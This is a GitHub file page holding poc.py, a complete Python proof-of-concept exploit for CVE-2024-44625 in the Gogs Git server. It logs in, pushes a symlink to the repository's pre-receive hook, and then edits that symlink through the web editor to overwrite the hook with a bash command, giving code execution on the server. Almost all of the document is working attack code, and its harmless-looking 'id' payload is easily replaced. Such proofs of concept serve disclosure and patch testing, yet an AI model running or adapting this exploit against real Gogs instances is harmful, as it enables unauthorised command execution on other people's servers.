-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.py
99 lines (82 loc) · 3.46 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# This script demonstrates exploitation of CVE-2024-44625 by executing the id(1) command and writing its output to /tmp/exploit_success on the Gogs server.
# Access to a user account with permission to push to a repository over HTTP(S) and edit files via the web interface is required.
# It may be necessary to adjust the GOGS_USER variable if the user running Gogs is not "git".
# Tested on version 0.13.0
# usage: python3 poc.py <url> <username> <password>
import os
import re
import requests
import subprocess
import sys
import urllib
GOGS_USER = 'git'
PATH_TO_HOOK = '/home/' + GOGS_USER + '/gogs-repositories/{}/{}.git/hooks/pre-receive'
HOOK_SYMLINK_NAME = 'pre-receive.symlink'
HOOK_CONTENT = '''#!/usr/bin/env bash
id > /tmp/exploit_success
'''
BRANCH = 'main'
#proxies = {'http':'http://localhost:8080'}
proxies = {}
def login(url, username, password):
s = requests.Session()
s.proxies = proxies
r = s.post(url + '/user/login', data={
'user_name': username,
'password': password
})
check_error(r)
return s
def create_repo(url, s, repo_name):
r = s.get(url + '/repo/create')
uid = re.search('<input type="hidden" id="user_id" name="user_id" value="(\d+)"', r.text).group(1)
r = s.post(url + '/repo/create', data={
'_csrf': urllib.parse.unquote(s.cookies['_csrf']),
'user_id': uid,
'repo_name': repo_name,
})
check_error(r)
def push_repo(url, username, password, repo_name):
os.mkdir(repo_name)
os.chdir(repo_name)
subprocess.call(['git', 'init'])
subprocess.call(['git', 'config', 'user.name', username])
subprocess.call(['git', 'config', 'user.email', '{}@localhost'.format(username)])
subprocess.call(['git', 'remote', 'add', 'origin', '{}://{}:{}@{}/{}/{}.git'.format(
url.split('://')[0], username, password, url.split('://')[1], username, repo_name)])
os.symlink(PATH_TO_HOOK.format(username, repo_name), HOOK_SYMLINK_NAME)
subprocess.call(['git', 'add', '.'])
subprocess.call(['git', 'commit', '-m', 'add {}'.format(HOOK_SYMLINK_NAME)])
subprocess.call(['git', 'push', 'origin', BRANCH])
def edit_symlink(url, s, username, repo_name):
# Get last commit
r = s.get(url + '/{}/{}/_edit/{}/{}'.format(username, repo_name, BRANCH, HOOK_SYMLINK_NAME))
check_error(r)
last_commit = re.search('<input type="hidden" name="last_commit" value="(\w+)">', r.text, re.DOTALL).group(1)
r = s.post(url + '/{}/{}/_edit/{}/{}'.format(username, repo_name, BRANCH, HOOK_SYMLINK_NAME), data={
'_csrf': urllib.parse.unquote(s.cookies['_csrf']),
'last_commit': last_commit,
# Move the symlink to a nonexistent path while editing it
'tree_path': 'foo/{}'.format(HOOK_SYMLINK_NAME),
'content': HOOK_CONTENT,
'commit_summary': '',
'commit_message': '',
'commit_choice': 'direct',
'new_branch_name': ''
})
check_error(r)
def check_error(r):
if '<div class="ui negative message">' in r.text:
error = re.search('<div class="ui negative message">\s*<p>([^<]+)</p>\s+</div>', r.text).group(1)
raise Exception(error)
def main():
(url, username, password) = tuple(sys.argv[1:4])
if url[len(url) - 1] == '/':
url = url[:len(url) - 1]
s = login(url, username, password)
repo_name = os.urandom(3).hex()
create_repo(url, s, repo_name)
push_repo(url, username, password, repo_name)
edit_symlink(url, s, username, repo_name)
if __name__ == '__main__':
main()